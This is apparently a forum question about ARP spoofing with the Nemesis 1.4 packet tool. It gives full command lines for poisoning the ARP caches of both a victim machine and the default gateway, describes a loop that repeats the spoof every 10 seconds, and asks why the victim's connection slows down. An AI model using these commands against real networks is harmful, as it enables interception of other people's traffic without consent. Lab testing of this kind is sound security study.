I've been using Nemesis 1.4 to test ARP spoofing on a local victim machine. I've been spoofing both the victim machine and the default gateway to ARP redirect to my machine.

Spoofing victim's source MAC:

sudo nemesis arp -v -r -d eth0 -S [victim IP] -D [default gateway IP] -h [my system MAC] -m [gateway MAC] -H [my MAC] -M [gateway MAC]

sudo nemesis arp -v -r -d eth0 -S [victim IP] -D [default gateway IP] \
                 -h [my system MAC]  -m [gateway MAC] -H [my MAC] -M [gateway MAC]

Spoofing gateways MAC:

sudo nemesis arp -v -r -d eth0 -S [gateway IP] -D [victim IP] -h [my system MAC] -m [victim MAC] -H [my MAC] -M [victim MAC

sudo nemesis arp -v -r -d eth0 -S [gateway IP] -D [victim IP] \
                 -h [my system MAC]  -m [victim MAC] -H [my MAC] -M [victim MAC]

Afterwards a looping BASH is made and the ARP redirection begins, spoofing every 10 seconds. In tcpdump I can see the ARP replies going out, and it seems to be working. But once on the victims machine the internet connection suddenly becomes painfully slow, if it works at all. Is Nemesis not redirecting? If so what am I doing wrong?
